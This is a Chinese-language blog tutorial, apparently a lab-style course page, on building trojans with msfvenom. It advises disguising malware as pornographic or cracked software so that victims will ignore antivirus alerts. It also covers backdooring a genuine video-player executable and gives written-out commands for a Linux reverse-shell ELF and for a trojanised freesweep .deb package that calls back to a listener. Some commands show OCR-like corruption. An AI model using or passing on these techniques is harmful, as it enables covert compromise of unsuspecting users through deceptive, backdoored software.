客户端渗透技巧,通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检測,所以我们所设计的恶意软件可以利用人的劣根性,比如我们格恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法井不能解决所有问題,我们需要利用免杀来躲避安全软件的查杀。
msfvenom 是msfpayload,msfencode 的结合体,可利用msfvenom 生成木马程序,井在目标机上执行,在本地监听上线。
在这里插入图片描述

生成西瓜影音.exe后门程序

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

模拟黑客给真正的快播软件加上后门
有没有,当杀毒报有毒,你还运行的软件情况?
当你遇到以下情况:+
windows 激活工具,私服客户端,盗版游戏,看片神器,裸聊神器,彩票,抢紅包软件,PS 激活
工具,CRT激活工具,注册机。
你还会添加信任,心里还很开心运行?
1、先下载一个正常的快播软件-我已经下载绿色版本,免安装的快播软件

在这里插入图片描述

先查看主程序会调用哪些附加的小程序,然后把 payload 后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上,有时报错。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

实战-制作 Linux 恶意软件获取 shell

1、使用msfvenom 生成 linux 可执行文件
root@xuegod53:~# msfvenom -a x64 --platform linux -p linux/×64/meterpreter/reverse tcp LHOST=192.168.1.53 LPORT=4444 -b “\x00” -f elf -o /var/www/html/xuegod
参数和生成 Windows 差不多。
–platform 指定 linux
-f指定elf 即linux 操作系统的可执行文件类型。
-b 去掉坏字符

实战-制作恶意 deb软件包来触发后门

制作悉意软件包使用–download-only 方式下载软件包不进行安装
注:freesweep
root@xuegod53:~# apt --download-only install freesweep
将软件包移动到root 目录
root@ xuegod53:~#my /var/cache/apt/archiives/freesweep 1.0.1-1 amd64.deb ~/解压软件包到 free 目录
root@ xueqod53:~# dpkg -x freesweep 1.0.1-1 amd64.deb free
生成恶意代码到软件包源文件中
root@xuegod53:~ # msfvenom -a ×64 --platform linux -p linux/×64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b mxoom -I 10 -f elf -o /root/free/us/games/freesweep_sources
拓展:生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值